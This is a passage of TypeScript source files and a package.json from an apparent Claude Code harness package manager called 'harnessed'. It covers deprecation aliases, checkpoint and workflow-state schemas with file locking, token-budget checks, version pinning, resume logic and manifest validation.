checkPathSafe(name)\n return loadAliases()?.aliases?.[name]?.redirect ?? null\n}\n\n/** List all deprecated entries (consumer: doctor 7th check). */\nexport function listDeprecations(): Array<{\n old: string\n entry: AliasesV1Type['aliases'][string]\n}> {\n const a = loadAliases()\n return a ? Object.entries(a.aliases).map(([old, entry]) => ({ old, entry })) : []\n}\n","// src/cli/lib/check-deprecations.ts — Phase 3.3 W1 T1.6 — D-02 DOCTOR-ONLY-WARN\n// PRIMARY helper (sister Phase 3.2 W1 T1.4 probe-gstack.ts 48L sister-share\n// extract pattern for Karpathy ≤200L 守门 — keeps doctor.ts ≤200L). Lists\n// deprecated manifests by reading manifests/aliases.yaml (D-01 RICH schema)\n// + emits CheckResult for doctor 7th check warning output. Table format\n// multi-deprecation aggregation per Discretion locked (RESEARCH § 3.2 verbatim).\nimport { listDeprecations } from '../../manifest/aliases.js'\n\nexport interface CheckResult {\n name: string\n status: 'pass' | 'warn' | 'fail'\n message: string\n fix?: string\n}\n\n/** Doctor 7th check: list deprecated manifests from aliases.yaml. D-02 DOCTOR-\n * ONLY-WARN: status='warn' when deprecations exist (install path silently\n * redirects, doctor surface here is human-readable audit). */\nexport function checkDeprecations(): CheckResult {\n try {\n const deprecations = listDeprecations()\n if (deprecations.length === 0) {\n return { name: 'deprecated manifests', status: 'pass', message: 'no deprecated manifests' }\n }\n const lines = deprecations.map(({ old, entry }) => {\n const removal = entry.removal_date ? `, removes ${entry.removal_date}` : ''\n return ` '${old}' → '${entry.redirect}' (since ${entry.since_version}, ${entry.deprecation_date}${removal}; ${entry.reason})`\n })\n return {\n name: 'deprecated manifests',\n status: 'warn',\n message: `${deprecations.length} deprecated manifest(s):\\n${lines.join('\\n')}`,\n fix: 'install paths auto-redirect; consider migrating manifest references to new names',\n }\n } catch (e) {\n return {\n name: 'deprecated manifests',\n status: 'fail',\n message: `aliases.yaml load error: ${(e as Error).message}`,\n fix: 'verify manifests/aliases.yaml schema (see docs/PROJECT-SPEC.md)',\n }\n }\n}\n","// Phase 3.1 Wave 1 T1.2 — checkpoint envelope schema (7th-existing surface,\n// 1st checkpoint-namespace producer). Sister of `src/workflow/schema/phases.ts`\n// (TypeBox `Type.Object` pattern, PATTERNS § 1 #1 90% reuse).\n//\n// IMPL NOTE — `cwd` field is a hard requirement per RESEARCH § 1.3 (Claude\n// Agent SDK session resume binds to the original working directory; resuming\n// from a different cwd silently fails). D-04 WIRE-IN: optional `session_id`\n// captured via `sdkSpawn` `onSessionId` callback (CD-4 closure-ready) and\n// archived in the checkpoint envelope so a future `--resume` can replay.\n//\n// Status is the same 3-state union as `currentWorkflow.v1` (D-02 KARPATHY\n// lock — no FSM lib). Drift across the two unions = test-time mismatch in\n// `tests/checkpoint/schema.test.ts`.\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\n/** 3-state checkpoint status (D-02 KARPATHY lock). Matches `WorkflowStatus`\n * in `currentWorkflow.v1.ts` by convention. */\nexport const CheckpointStatus = Type.Union([\n Type.Literal('active'),\n Type.Literal('paused'),\n Type.Literal('complete'),\n])\n\n/** Checkpoint envelope — execute-task workflow snapshot persisted to\n * `.harnessed/checkpoints/<phase>.json`. Consumers MUST branch on\n * `schemaVersion` via `branchOnSchemaVersion` (CD-5 rule (a)). */\nexport const CheckpointV1 = Type.Object(\n {\n schemaVersion: Type.Literal(SCHEMA_VERSIONS.checkpoint),\n phase: Type.String({ minLength: 1 }),\n status: CheckpointStatus,\n last_task: Type.String(),\n key_decisions: Type.Array(Type.String()),\n canonical_refs: Type.Array(Type.String()),\n /** D-04 WIRE-IN: optional SDK session_id captured via `sdkSpawn`\n * `onSessionId` callback (CD-4 closure-ready) for future `--resume`. */\n session_id: Type.Optional(Type.String()),\n /** RESEARCH § 1.3 critical constraint — SDK session resume requires cwd\n * match; we capture and validate at restore time. */\n cwd: Type.String({ minLength: 1 }),\n timestamp: Type.String({ minLength: 1 }), // ISO-8601 by convention (TypeBox `format` requires Ajv-style format registry; we keep shape-check only — drift caught in writeCheckpoint path)\n archive_path: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n\nexport type CheckpointV1Type = Static<typeof CheckpointV1>\n","// Phase 3.1 Wave 1 T1.2 — current-workflow state machine schema (8th surface).\n// Sister of `checkpoint.v1.ts` (same 3-state union by convention).\n//\n// Persisted to `.harnessed/current-workflow.json` and read by the state\n// machine in `src/checkpoint/state.ts` (T1.3). D-02 KARPATHY 3-state lock\n// (no xstate / robot3 — pure data with 3 transition functions).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\n/** 3-state workflow status (D-02 KARPATHY lock). Mirrors `CheckpointStatus`\n * in `checkpoint.v1.ts` by convention. */\nexport const WorkflowStatus = Type.Union([\n Type.Literal('active'),\n Type.Literal('paused'),\n Type.Literal('complete'),\n])\n\n/** Current-workflow envelope — singleton state file pointing at the last\n * checkpoint path. `last_checkpoint_path` is nullable on `activate()`\n * before the first checkpoint write. */\nexport const CurrentWorkflowV1 = Type.Object(\n {\n schemaVersion: Type.Literal(SCHEMA_VERSIONS.currentWorkflow),\n phase: Type.String({ minLength: 1 }),\n status: WorkflowStatus,\n last_checkpoint_path: Type.Union([Type.String(), Type.Null()]),\n // ISO-8601 by convention (TypeBox `format` requires Ajv-style registry; shape-check only here, drift surfaces in state.ts writer).\n started_at: Type.String({ minLength: 1 }),\n paused_at: Type.Optional(Type.String({ minLength: 1 })),\n completed_at: Type.Optional(Type.String({ minLength: 1 })),\n },\n { additionalProperties: false },\n)\n\nexport type CurrentWorkflowV1Type = Static<typeof CurrentWorkflowV1>\n","// Phase 3.1 Wave 1 T1.2 — barrel for checkpoint schemas (CD-5 modular sister\n// of `src/manifest/schema/spec.ts`).\nexport * from './checkpoint.v1.js'\nexport * from './currentWorkflow.v1.js'\n","// Phase 3.1 W2 T2.1 — checkpoint template: mechanical writer + budget enforcer\n// (D-01 LOCKED: zero LLM call — pure mechanical assembly + fail-loud truncate).\n//\n// Sister of `src/workflow/loadPhases.ts` (Value.Check validate-and-throw pattern).\n// Budget enforcement strategy (R § 2 R7.2 < 1k token acceptance):\n// Level 1 — truncate `last_task` to first 200 chars\n// Level 2 — truncate `key_decisions` to first 5 items\n// Level 3 — throw CheckpointTooLargeError (fail-loud, do NOT silently drop data)\n// Token estimation: 1 char ≈ 0.25 token via Buffer.byteLength (R § 3 heuristic).\n\nimport { mkdirSync, writeFileSync } from 'node:fs'\nimport { dirname } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { CheckpointV1, type CheckpointV1Type } from './schema/index.js'\n\nconst BUDGET_TOKEN = 1000\n\nexport class CheckpointTooLargeError extends Error {\n constructor(message: string) {\n super(message)\n this.name = 'CheckpointTooLargeError'\n }\n}\n\nexport class CheckpointWriteError extends Error {\n constructor(message: string) {\n super(message)\n this.name = 'CheckpointWriteError'\n }\n}\n\n/** Heuristic: 1 char ≈ 0.25 token (English-dominant) — R § 3 estimation strategy.\n * Uses Buffer.byteLength for utf8-accurate length (multibyte glyphs counted right). */\nexport function estimateTokens(s: string): number {\n return Math.ceil(Buffer.byteLength(s, 'utf8') / 4)\n}\n\n/** Fail-loud truncate strategy: try truncate longest fields first; if still over → throw.\n * Order chosen so highest-value fields (canonical_refs, session_id, cwd) are preserved\n * and only narrative-redundant fields (last_task tail, decisions tail) are sacrificed. */\nexport function enforceBudget(c: CheckpointV1Type, budget = BUDGET_TOKEN): CheckpointV1Type {\n let candidate = c\n let tokens = estimateTokens(JSON.stringify(candidate))\n if (tokens <= budget) return candidate\n // Level 1: truncate last_task to first 200 chars\n candidate = { ...candidate, last_task: candidate.last_task.slice(0, 200) }\n tokens = estimateTokens(JSON.stringify(candidate))\n if (tokens <= budget) return candidate\n // Level 2: truncate key_decisions to first 5 items\n candidate = { ...candidate, key_decisions: candidate.key_decisions.slice(0, 5) }\n tokens = estimateTokens(JSON.stringify(candidate))\n if (tokens <= budget) return candidate\n throw new CheckpointTooLargeError(\n `Checkpoint exceeds ${budget}-token budget even after truncation (estimated ${tokens})`,\n )\n}\n\n/** Write checkpoint envelope to `.harnessed/checkpoints/<phase>.json` (or customPath).\n * Throws CheckpointWriteError on schema violation; CheckpointTooLargeError on budget. */\nexport function writeCheckpoint(c: CheckpointV1Type, customPath?: string): string {\n if (!Value.Check(CheckpointV1, c)) {\n const errs = [...Value.Errors(CheckpointV1, c)].map((e) => e.message).join('; ')\n throw new CheckpointWriteError(`Schema validation failed: ${errs}`)\n }\n const enforced = enforceBudget(c)\n const path = customPath ?? `.harnessed/checkpoints/${enforced.phase}.json`\n mkdirSync(dirname(path), { recursive: true })\n writeFileSync(path, JSON.stringify(enforced, null, 2), 'utf8')\n return path\n}\n","// Phase 3.4 W1 T1.1 — D-03 BUFFER /4 + D-04 DOCTOR WARN PRIMARY helper. Sister\n// Phase 3.3 W1 T1.6 check-deprecations.ts 43L. Scans ~/.claude/skills + repo\n// skills/ SKILL.md frontmatter description tokens via Phase 3.1 D-01\n// estimateTokens (Buffer.byteLength /4 zero-dep heuristic). Karpathy ≤40L hard.\nimport { existsSync, readdirSync, readFileSync } from 'node:fs'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { estimateTokens } from '../../checkpoint/template.js'\nimport type { CheckResult } from './check-deprecations.js'\n\nconst CONTEXT_WINDOW_TOKENS = 200_000\nconst TOTAL_THRESHOLD = 2_000 // 1% of 200k\nconst PER_SKILL_THRESHOLD = 5_000\n\nfunction scanSkillsDir(root: string): { name: string; tokens: number }[] {\n if (!existsSync(root)) return []\n return readdirSync(root).flatMap((name) => {\n const md = join(root, name, 'SKILL.md')\n if (!existsSync(md)) return []\n const fm = readFileSync(md, 'utf8').match(/^---\\n([\\s\\S]*?)\\n---/)?.[1] ?? ''\n const desc = fm.match(/^description:\\s*(.+)$/m)?.[1] ?? ''\n return [{ name, tokens: estimateTokens(desc) }]\n })\n}\n\nexport function checkTokenBudget(): CheckResult {\n const roots = [join(homedir(), '.claude', 'skills'), join(process.cwd(), 'skills')]\n const items = roots.flatMap(scanSkillsDir)\n const total = items.reduce((s, i) => s + i.tokens, 0)\n const over = items.filter((i) => i.tokens > PER_SKILL_THRESHOLD).length\n if (total <= TOTAL_THRESHOLD && over === 0) {\n const msg = `${items.length} skill(s) total ${total} tokens (under 1% / 2000 threshold)`\n return { name: 'token budget', status: 'pass', message: msg }\n }\n const top = [...items]\n .sort((a, b) => b.tokens - a.tokens)\n .slice(0, 3)\n .map((t) => `${t.name}:${t.tokens}`)\n .join(', ')\n const pct = ((total / CONTEXT_WINDOW_TOKENS) * 100).toFixed(2)\n const message = `${items.length} skill(s) total ${total} tokens (${pct}% of 200000) — top: ${top}`\n return {\n name: 'token budget',\n status: 'warn',\n message,\n fix: 'shorten verbose skill descriptions OR review per-skill > 5000 tokens',\n }\n}\n","// Phase 3.1 W1 T1.3 — workflow state machine (D-02 KARPATHY 3-state, no FSM\n// lib). Sister of `src/workflow/loadPhases.ts` (Value.Check validate-and-throw).\n// Persists singleton state to `.harnessed/current-workflow.json`. Hard limit\n// ≤ 80L per D-02 (3 transitions + read/write helpers).\n// Phase 5.1 W2 T2.2 — R10.2 concurrent write lock (D-05+D-06+D-07+D-08 LOCKED)\n// proper-lockfile dir-level lock `.harnessed/.lock` wraps writeCurrentWorkflow.\n// W-01 PLAN-CHECK Path A: state.ts self-locks; engineHook acquires transitively.\n\nimport { mkdir, readFile, writeFile } from 'node:fs/promises'\nimport { dirname } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport lockfile from 'proper-lockfile'\nimport { branchOnSchemaVersion, SCHEMA_VERSIONS } from '../types/schemaVersion.js'\nimport { CurrentWorkflowV1, type CurrentWorkflowV1Type } from './schema/index.js'\n\nconst STATE_PATH = '.harnessed/current-workflow.json'\nconst LOCK_TARGET = '.harnessed'\nconst LOCK_OPTS = {\n stale: 10_000,\n retries: { retries: 3, factor: 2, minTimeout: 100 },\n lockfilePath: '.harnessed/.lock',\n}\n\nexport class WorkflowStateError extends Error {\n constructor(message: string) {\n super(message)\n this.name = 'WorkflowStateError'\n }\n}\n\n/** Thrown when another harnessed process holds the .harnessed/.lock (D-06 LOCKED). */\nexport class LockHeldError extends Error {\n constructor() {\n super(\n 'another harnessed process holds the lock at .harnessed/.lock — wait or kill stale process (try: harnessed status)',\n )\n this.name = 'LockHeldError'\n Object.setPrototypeOf(this, LockHeldError.prototype)\n }\n}\n\n/** Acquire dir-level lock then run fn(); release in finally (D-05+D-06+D-08). */\nasync function withLock<T>(fn: () => Promise<T>): Promise<T> {\n let release: (() => Promise<void>) | undefined\n try {\n release = await lockfile.lock(LOCK_TARGET, LOCK_OPTS)\n } catch (e) {\n if ((e as NodeJS.ErrnoException).code === 'ELOCKED') throw new LockHeldError()\n throw e\n }\n try {\n return await fn()\n } finally {\n await release?.()\n }\n}\n\n/** Read state; returns null on missing/corrupt/unknown-version (CD-5 rule (b)\n * fail-soft). Throws only via writeCurrentWorkflow on known-version drift. */\nexport async function readCurrentWorkflow(): Promise<CurrentWorkflowV1Type | null> {\n let raw: string\n try {\n raw = await readFile(STATE_PATH, 'utf8')\n } catch {\n return null\n }\n let parsed: unknown\n try {\n parsed = JSON.parse(raw)\n } catch {\n return null\n }\n const v = (parsed as { schemaVersion?: string }).schemaVersion ?? ''\n return branchOnSchemaVersion(v, {\n v1: () => (Value.Check(CurrentWorkflowV1, parsed) ? (parsed as CurrentWorkflowV1Type) : null),\n unknown: () => null,\n })\n}\n\n/** Write state with self-validate (loadPhases.ts pattern); creates parent dir;\n * acquires dir-level lock (D-05+D-08) before writeFile (R10.2 concurrent safety). */\nexport async function writeCurrentWorkflow(s: CurrentWorkflowV1Type): Promise<void> {\n if (!Value.Check(CurrentWorkflowV1, s)) {\n const errs = [...Value.Errors(CurrentWorkflowV1, s)].map((e) => e.message).join('; ')\n throw new WorkflowStateError(`current-workflow schema validation failed: ${errs}`)\n }\n await mkdir(dirname(STATE_PATH), { recursive: true })\n await withLock(async () => {\n await writeFile(STATE_PATH, JSON.stringify(s, null, 2), 'utf8')\n })\n}\n\n/** Transition 1/3 — start a new workflow for `phase`. */\nexport async function activate(phase: string, checkpointPath: string | null = null): Promise<void> {\n await writeCurrentWorkflow({\n schemaVersion: SCHEMA_VERSIONS.currentWorkflow,\n phase,\n status: 'active',\n last_checkpoint_path: checkpointPath,\n started_at: new Date().toISOString(),\n })\n}\n\n/** Transition 2/3 — pause active workflow; preserves started_at. */\nexport async function pause(): Promise<void> {\n const s = await readCurrentWorkflow()\n if (!s) return\n await writeCurrentWorkflow({ ...s, status: 'paused', paused_at: new Date().toISOString() })\n}\n\n/** Transition 3/3 — complete active/paused workflow; preserves timestamps. */\nexport async function complete(): Promise<void> {\n const s = await readCurrentWorkflow()\n if (!s) return\n await writeCurrentWorkflow({ ...s, status: 'complete', completed_at: new Date().toISOString() })\n}\n","// src/manifest/schema/known-good.v1.ts — Phase 3.3 W1 T1.3 (D-03 YAML manifest 13th surface).\n// Sister Phase 3.2 W1 T1.3 (governance.ts) + sister T1.2 aliases.v1.ts shape.\n// YAML manifest rejected JSON (项目未用 npm-lock + yaml convention) + Embed-in-\n// manifest (跨 manifest agg 难, R7.6 \"harnessed 版本冻结一组\" scope mismatch).\n// Manifest-domain colocation: src/manifest/schema/. install_method 字符串非 enum\n// (Karpathy YAGNI 防 schema drift 加耦 — Phase 2.X 6 install method 可能继续扩;\n// sister spec.ts InstallType union 仅作 doc reference 不强 link).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nexport const PinnedUpstream = Type.Object(\n {\n name: Type.String({ minLength: 1 }),\n version: Type.String({ minLength: 1 }),\n install_method: Type.String({ minLength: 1 }), // npm-cli / mcp-stdio-add / etc per Phase 2.X\n },\n { additionalProperties: false },\n)\n\nexport const KnownGoodV1 = Type.Object(\n {\n schemaVersion: Type.Literal(SCHEMA_VERSIONS.knownGood), // 'harnessed.known-good.v1'\n harnessed_version: Type.String({ pattern: '^\\\\d+\\\\.\\\\d+\\\\.\\\\d+$' }), // semver strict\n e2e_verified_at: Type.String({ pattern: '^\\\\d{4}-\\\\d{2}-\\\\d{2}$' }), // ISO date pattern\n upstreams: Type.Array(PinnedUpstream),\n },\n { additionalProperties: false },\n)\n\nexport type PinnedUpstreamType = Static<typeof PinnedUpstream>\nexport type KnownGoodV1Type = Static<typeof KnownGoodV1>\n","// src/manifest/knownGood.ts — Phase 3.3 W1 T1.5 — D-03 YAML manifest consumer.\n// Sister src/manifest/aliases.ts (fail-soft read + Value.Check + memoize).\n// Path: versions/<harnessed-ver>-known-good.yaml (sister manifests/tools/\n// <name>.yaml install.ts L66 path 范式). Lazy read per-harnessed-ver\n// (Karpathy YAGNI per planner CONTEXT Discretion lock — only pay cost when\n// --known-good flag triggers consume).\n\nimport { existsSync, readFileSync } from 'node:fs'\nimport { join } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { parse } from 'yaml'\nimport { KnownGoodV1, type KnownGoodV1Type } from './schema/known-good.v1.js'\n\nconst versionsDir = (): string => join(process.cwd(), 'versions')\n\nconst _cache = new Map<string, KnownGoodV1Type | null>()\n\n/** Load versions/<harnessedVer>-known-good.yaml; memoized per harnessedVer.\n * Returns null if file absent. Throws Karpathy fail-loud on schema invalid. */\nexport function loadKnownGood(harnessedVer: string): KnownGoodV1Type | null {\n if (_cache.has(harnessedVer)) return _cache.get(harnessedVer) ?? null\n const path = join(versionsDir(), `${harnessedVer}-known-good.yaml`)\n if (!existsSync(path)) {\n _cache.set(harnessedVer, null)\n return null\n }\n const raw = readFileSync(path, 'utf8')\n const parsed = parse(raw) as unknown\n if (!Value.Check(KnownGoodV1, parsed)) {\n const errs = [...Value.Errors(KnownGoodV1, parsed)].slice(0, 3)\n throw new Error(\n `${path} schema invalid: ${errs.map((e) => `${e.path} ${e.message}`).join('; ')}`,\n )\n }\n _cache.set(harnessedVer, parsed)\n return parsed\n}\n\n/** Get pinned version for an upstream name + harnessed version. */\nexport function getPinnedVersion(upstreamName: string, harnessedVer: string): string | null {\n const kg = loadKnownGood(harnessedVer)\n if (!kg) return null\n const entry = kg.upstreams.find((u) => u.name === upstreamName)\n return entry?.version ?? null\n}\n","// Phase 3.1 W4 T4.3 — resume logic (D-03 RELOAD locked: stdout output, no spawn).\n// Sister: src/cli/doctor.ts --json flag + src/workflow/loadPhases.ts TypeBox validate.\n// CD-5 single 兼容门: branchOnSchemaVersion delegates unknown-version graceful degrade.\n// § 1.3 cwd guard: warn if checkpoint.cwd !== process.cwd() (SDK session resume may fail).\n\nimport { readFile } from 'node:fs/promises'\nimport { Value } from '@sinclair/typebox/value'\nimport { branchOnSchemaVersion } from '../types/schemaVersion.js'\nimport { CheckpointV1, type CheckpointV1Type } from './schema/index.js'\nimport { readCurrentWorkflow } from './state.js'\n\nexport type ResumeResult =\n | { status: 'no-paused-phase'; error: string }\n | { status: 'corrupt'; error: string; path: string }\n | { status: 'ok'; checkpoint: CheckpointV1Type; cwdWarn?: string; resumeHint: string }\n\nexport async function runResume(): Promise<ResumeResult> {\n const current = await readCurrentWorkflow()\n if (!current) {\n return { status: 'no-paused-phase', error: 'no .harnessed/current-workflow.json found' }\n }\n if (current.status !== 'paused') {\n return {\n status: 'no-paused-phase',\n error: `workflow status is '${current.status}', not 'paused'`,\n }\n }\n if (!current.last_checkpoint_path) {\n return { status: 'corrupt', error: 'last_checkpoint_path missing', path: '' }\n }\n const path = current.last_checkpoint_path\n let raw: string\n try {\n raw = await readFile(path, 'utf8')\n } catch (e) {\n return { status: 'corrupt', error: `checkpoint missing: ${(e as Error).message}`, path }\n }\n let parsed: unknown\n try {\n parsed = JSON.parse(raw)\n } catch (e) {\n return {\n status: 'corrupt',\n error: `checkpoint JSON parse failed: ${(e as Error).message}`,\n path,\n }\n }\n const v = (parsed as { schemaVersion?: string }).schemaVersion ?? ''\n const validated = branchOnSchemaVersion<CheckpointV1Type | null>(v, {\n v1: () => (Value.Check(CheckpointV1, parsed) ? (parsed as CheckpointV1Type) : null),\n unknown: () => null,\n })\n if (!validated) {\n const errs = [...Value.Errors(CheckpointV1, parsed)].map((e) => e.message).join('; ')\n return { status: 'corrupt', error: `checkpoint schema validation failed: ${errs}`, path }\n }\n const cwd = process.cwd()\n const cwdWarn =\n validated.cwd !== cwd\n ? `⚠ checkpoint cwd '${validated.cwd}' ≠ current cwd '${cwd}' — SDK session resume may fail (§ 1.3); fresh-session fallback`\n : undefined\n const sidHint = validated.session_id\n ? ` (session_id: ${validated.session_id} — SDK will redirect to original session)`\n : ' (fresh session — context reloaded from checkpoint)'\n const resumeHint = `→ in Claude Code: /gsd-execute-phase ${validated.phase}${sidHint}`\n return { status: 'ok', checkpoint: validated, ...(cwdWarn ? { cwdWarn } : {}), resumeHint }\n}\n","{\n \"name\": \"harnessed\",\n \"version\": \"1.0.0\",\n \"description\": \"AI coding harness package manager + composition orchestrator\",\n \"type\": \"module\",\n \"license\": \"Apache-2.0\",\n \"author\": \"easyinplay\",\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"https://github.com/easyinplay/harnessed.git\"\n },\n \"homepage\": \"https://github.com/easyinplay/harnessed#readme\",\n \"bugs\": \"https://github.com/easyinplay/harnessed/issues\",\n \"keywords\": [\n \"claude-code\",\n \"ai-harness\",\n \"package-manager\",\n \"composition\",\n \"skill-pack\",\n \"mcp\",\n \"orchestrator\"\n ],\n \"engines\": {\n \"node\": \">=22.0.0\"\n },\n \"packageManager\": \"pnpm@10.12.0\",\n \"bin\": {\n \"harnessed\": \"./dist/cli.mjs\"\n },\n \"main\": \"./dist/index.mjs\",\n \"types\": \"./dist/index.d.ts\",\n \"exports\": {\n \".\": {\n \"types\": \"./dist/index.d.ts\",\n \"import\": \"./dist/index.mjs\",\n \"default\": \"./dist/index.mjs\"\n },\n \"./schemas\": {\n \"types\": \"./dist/schemas/index.d.ts\",\n \"import\": \"./dist/schemas/index.mjs\"\n },\n \"./package.json\": \"./package.json\"\n },\n \"files\": [\n \"dist\",\n \"manifests\",\n \"workflows\",\n \"routing\",\n \"config-templates\",\n \"schemas\",\n \"README.md\",\n \"LICENSE\",\n \"NOTICE\"\n ],\n \"scripts\": {\n \"dev\": \"tsup --watch\",\n \"build\": \"tsc --noEmit && tsup\",\n \"build:schema\": \"node ./scripts/build-schema.mjs\",\n \"validate:schema\": \"node ./scripts/validate-schema.mjs\",\n \"typecheck\": \"tsc --noEmit\",\n \"test\": \"vitest run --passWithNoTests\",\n \"test:watch\": \"vitest\",\n \"test:coverage\": \"vitest run --coverage --passWithNoTests\",\n \"bench\": \"vitest bench --run\",\n \"lint\": \"biome check .\",\n \"lint:fix\": \"biome check --write .\",\n \"format\": \"biome format --write .\"\n },\n \"dependencies\": {\n \"@anthropic-ai/claude-agent-sdk\": \"0.3.142\",\n \"@clack/prompts\": \"^0.10.1\",\n \"@sinclair/typebox\": \"^0.34.49\",\n \"ajv\": \"^8.20.0\",\n \"ajv-errors\": \"^3.0.0\",\n \"ajv-formats\": \"^3.0.1\",\n \"commander\": \"^13.0.0\",\n \"diff\": \"^9.0.0\",\n \"picocolors\": \"^1.1.1\",\n \"proper-lockfile\": \"^4.1.2\",\n \"yaml\": \"^2.9.0\"\n },\n \"devDependencies\": {\n \"@biomejs/biome\": \"^2.0.0\",\n \"@types/node\": \"^22.10.0\",\n \"@types/proper-lockfile\": \"^4.1.4\",\n \"@vitest/coverage-v8\": \"^4.0.0\",\n \"tsup\": \"^8.3.0\",\n \"typescript\": \"^5.6.0\",\n \"vitest\": \"^4.0.0\"\n },\n \"pnpm\": {\n \"onlyBuiltDependencies\": [\n \"esbuild\"\n ]\n }\n}\n","// Friendly error mapping per ADR 0001 + GA-1 § validator entry.\n// Translates Ajv `ErrorObject[]` and yaml parse errors into a uniform\n// `ValidationError` shape with path + keyword + line/column.\n// T4.3 adds yaml LineCounter + doc.getIn() for precise source location.\n\nimport type { ErrorObject } from 'ajv'\nimport type { Document, LineCounter, Node } from 'yaml'\n\nexport interface ValidationError {\n file: string\n path: string\n message: string\n line: number | null\n column: number | null\n keyword: string\n}\n\n/**\n * Translate a JSON Pointer instancePath (\"/spec/install/method\") into the\n * key-path array yaml@2 expects (\"spec\", \"install\", \"method\"). Numeric\n * segments are coerced for sequence indexing.\n */\nfunction instancePathToKeyPath(instancePath: string): Array<string | number> {\n if (!instancePath || instancePath === '/') return []\n return instancePath\n .split('/')\n .filter(Boolean)\n .map((seg) => {\n const n = Number(seg)\n return Number.isInteger(n) && String(n) === seg ? n : seg\n })\n}\n\n/**\n * Resolve `instancePath` to a yaml node by walking the parsed Document, then\n * convert the node's start offset to a 1-indexed `{ line, col }` via the\n * supplied LineCounter. Returns `{ null, null }` if the node cannot be located\n * (e.g. when validation reports a missing field, the node never existed).\n */\nfunction locateLineFromDoc(\n doc: Document.Parsed,\n lineCounter: LineCounter,\n instancePath: string,\n): { line: number | null; column: number | null } {\n const path = instancePathToKeyPath(instancePath)\n // For empty path the document root sits at offset 0.\n let node: unknown\n if (path.length === 0) {\n node = doc.contents\n } else {\n node = doc.getIn(path, true)\n }\n\n if (!node || typeof node !== 'object') return { line: null, column: null }\n const range = (node as Node).range\n if (!range) return { line: null, column: null }\n\n const offset = range[0]\n const pos = lineCounter.linePos(offset)\n return { line: pos.line, column: pos.col }\n}\n\n/**\n * Map an Ajv error to ValidationError. When `doc` + `lineCounter` are supplied,\n * line/column are populated from the yaml CST.\n */\nexport function ajvErrorToFriendly(\n err: ErrorObject,\n file: string,\n doc?: Document.Parsed,\n lineCounter?: LineCounter,\n): ValidationError {\n let path = err.instancePath || '/'\n const params = err.params as Record<string, unknown> | undefined\n if (\n err.keyword === 'additionalProperties' &&\n params &&\n typeof params.additionalProperty === 'string'\n ) {\n path = `${path}/${params.additionalProperty}`\n } else if (err.keyword === 'required' && params && typeof params.missingProperty === 'string') {\n path = `${path}/${params.missingProperty}`\n }\n\n let line: number | null = null\n let column: number | null = null\n if (doc && lineCounter) {\n // For required-field errors the missing field has no node; resolve to the\n // parent path instead so the user is pointed at the parent block.\n const lookupPath = err.keyword === 'required' ? err.instancePath || '/' : path\n const loc = locateLineFromDoc(doc, lineCounter, lookupPath)\n line = loc.line\n column = loc.column\n }\n\n return {\n file,\n path,\n message: err.message ?? 'unknown error',\n line,\n column,\n keyword: err.keyword,\n }\n}\n\nexport interface YamlParseLike {\n message: string\n linePos?: ReadonlyArray<{ line: number; col: number }>\n}\n\nexport function yamlParseErrorToFriendly(err: YamlParseLike, file: string): ValidationError {\n return {\n file,\n path: '/',\n message: err.message,\n line: err.linePos?.[0]?.line ?? null,\n column: err.linePos?.[0]?.col ?? null,\n keyword: 'yaml-parse',\n }\n}\n","// Metadata sub-schema per ADR 0001 § Top-level structure.\n// Fields: apiVersion (Literal harnessed/v1), kind (Literal Manifest),\n// metadata.{name, display_name?, description, upstream{...}}.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const ApiVersion = Type.Literal('harnessed/v1')\nexport const Kind = Type.Literal('Manifest')\n\n// SPDX whitelist per ADR 0001 line 51.\n// ADR 0010 errata — license whitelist extension (D-03/D-05). `MIT-0` (MIT No\n// Attribution, SPDX-registered) added for baoyu-skills; `anthropics-official`\n// carve-out added for anthropics/skills monorepo sub-skills (frontend-design /\n// document-skills / webapp-testing) which have no per-skill LICENSE file.\nconst SpdxLicense = Type.Union([\n Type.Literal('MIT'),\n Type.Literal('Apache-2.0'),\n Type.Literal('BSD-3-Clause'),\n Type.Literal('ISC'),\n Type.Literal('0BSD'),\n Type.Literal('MIT-0'),\n Type.Literal('anthropics-official'),\n])\n\n// ADR 0010 errata — license provenance audit field (D-04). Records where the\n// license info was sourced from so it can be mechanically audited. Optional —\n// additive only, A7' 8-pillar safe (no existing manifest broken).\nconst LicenseSource = Type.Union([\n Type.Literal('README'),\n Type.Literal('registry'),\n Type.Literal('none'),\n Type.Literal('anthropics-official'),\n])\n\nconst Upstream = Type.Object(\n {\n source: Type.String({ minLength: 1 }),\n homepage: Type.String({ format: 'uri' }),\n repository: Type.String({ format: 'uri' }),\n license: SpdxLicense,\n license_source: Type.Optional(LicenseSource),\n notice: Type.String({ minLength: 1, maxLength: 500 }),\n },\n { additionalProperties: false },\n)\n\nexport const MetadataSchema = Type.Object(\n {\n name: Type.String({ pattern: '^[a-z0-9][a-z0-9-]*$', minLength: 1 }),\n display_name: Type.Optional(Type.String()),\n description: Type.String({ minLength: 1, maxLength: 120 }),\n upstream: Upstream,\n },\n { additionalProperties: false },\n)\n","// install.method = cc-hook-add per ADR 0001 type×method matrix + Phase 2.4 W3 T3.1 (D-04 § 3.1).\n//\n// IMPL NOTE (Phase 2.4 W3 / R2.4.4): Claude Code SessionStart / UserPromptSubmit /\n// PreToolUse / PostToolUse hooks are configured in ~/.claude/settings.json under\n// `hooks.<event>[].{matcher, command}` shape. This install method lets a manifest\n// register a hook entry idempotently. The hook_command is the bash invocation the\n// user wants run on that lifecycle event (e.g. `node scripts/dashboard.mjs --no-open`\n// to auto-spawn the dashboard on session start).\n//\n// Sister: npxSkillInstaller schema (~17L) — same minimal TypeBox shape, no exotic\n// fields. `idempotent_check` reused from the 6 sister install methods (preflight\n// invariant per src/installers/lib/preflight.ts contract).\n\nimport { Type } from '@sinclair/typebox'\n\nconst HookEvent = Type.Union([\n Type.Literal('SessionStart'),\n Type.Literal('UserPromptSubmit'),\n Type.Literal('PreToolUse'),\n Type.Literal('PostToolUse'),\n])\n\nexport const CcHookAdd = Type.Object(\n 